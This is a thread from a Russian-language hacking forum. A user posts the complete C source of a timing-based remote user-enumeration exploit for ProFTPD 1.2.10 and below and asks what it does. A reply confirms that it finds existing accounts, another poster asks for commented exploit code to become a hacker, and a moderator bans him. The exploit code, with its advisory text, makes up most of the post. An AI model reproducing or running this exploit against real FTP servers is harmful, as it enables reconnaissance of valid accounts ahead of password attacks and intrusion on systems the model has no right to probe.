• XSS.stack #1 – первый литературный журнал от юзеров форума

ProFTPD <= 1.2.10 Remote Users Enumeration Exploit

Статус
Закрыто для дальнейших ответов.

anton14.86

floppy-диск
Пользователь
Регистрация
19.03.2006
Сообщения
6
Реакции
0
здарова всем . у меня вапрос нашол эксплойт для ProFTPD 1.2.10 , объясните пожалуйста кто может . что он делает и что дает на удалённом ftp



Текст эксплоита


/*
Details
Vulnerable Systems:
* ProFTPD Version 1.2.10 and below

It is possible to determine which user names are valid, which are special, and which ones do not exist on the remote system. This can be accomplished by code execution path timing analysis attack at the ProFTPd login procedure. There is a very small (but significant) difference in time delay of code execution path between valid and non-valid user names. That can be used to remotely determine the difference between existent and non-existent users. The time delay can be measured by using a simple FTP client that will calculate elapsed time between 'USER' command sent by client, and the server response. Because of the very short response period, elapsed time should be measured in microseconds.

Proof of Concept Code:
LSS has developed simple PoC exploit that is presented here:

// ProFTPd remote users discovery based on code execution time - POC exploit
// Coded by Leon Juranic // http://www.lss.hr
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/time.h>

#define PORT 21
#define PROBE 8

main (int argc, char **argv)
{
int sock,n,y;
long dist,stat=0;
struct sockaddr_in sin;
char buf[1024], buf2[1024];
struct timeval tv, tv2;
struct timezone tz, tz2;

printf ("Proftpd remote users discovery exploit\n"
" Coded by Leon / LSS Security\n"
">-------------------------------------<\n");

if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }

sock = socket (AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons (PORT);
sin.sin_addr.s_addr = inet_addr (argv[1]);
bzero (sin.sin_zero,8);

connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

printf ("Login time: ");
n = read (sock,buf2, sizeof(buf2));
for (y=0;y<PROBE;y++) {
gettimeofday (&tv,&tz);
snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);
write (sock, buf, strlen(buf));
n = read (sock,buf2, sizeof(buf2));
gettimeofday (&tv2,&tz2);
dist =tv2.tv_usec - tv.tv_usec;
stat += dist;
printf (" %d |",dist);
}
printf ("\nAvrg: %d\n",(stat/PROBE));
close (sock);
}
 
Исходя из описания он по идее должен определять существующих пользователей.
 
Решение
я б помог но сам нуждаюсь в такой же помощи


Давно хотел поднять эту тему...
Дело в том , что мне очень хочется стать нормальным (настоящим) хакером.
Использовать эксплойты, написанные другими хакерами, на мой взгляд, это манеры ламера.
Кажется, вот в сети очень много материала как писать эксплойты и тд.
Но на самом же деле не так...Ищешь сайт, заходишь на сайт, а там просто написано что такое эксплойт и тд.
Иногда,(1/100000000) я встречал интересные статьи (Kez из antichata, и тд.).Там было многое описано но не хватало изюминки. Мне кажется, что там не было чётких комментариев к каждой строке (например : “часть исходника” – запускает шелл и тд.). Я являюсь представителем той расы , которой хочется учиться и учиться. Я много чего исследовал и находил и понимал, НО НЕ ЗНАЛ КАК ЭТО ИЗОБРАЗИТЬ НА ЯЗЫКЕ ПРОГРАММИРОВАНИЯ. Я даже счас брандмауэр пишу по моей технологии(я замечаю определенный след в системе во время взлома, т.е. когда хакер прошел крутой брандмауэр и уже находиться с шелом) .Проблема наших хакеров в том, что нам нужно показать пример с чётким руководством к каждой строке. Позорно как-то просить всё это, но я считаю что если я готов на это, то пойду до конца. На мой взгляд, эта статья найдёт своих читателей.
Помогите кто, чем может.
ZeroCool
Пишите на форум или на мыло : Neo_xxx@list.ru

[mod][N1TR0X:] пробанен на 48 часов. если не поможет, выход один - перманент бан.[/mod]
 
Статус
Закрыто для дальнейших ответов.
Верх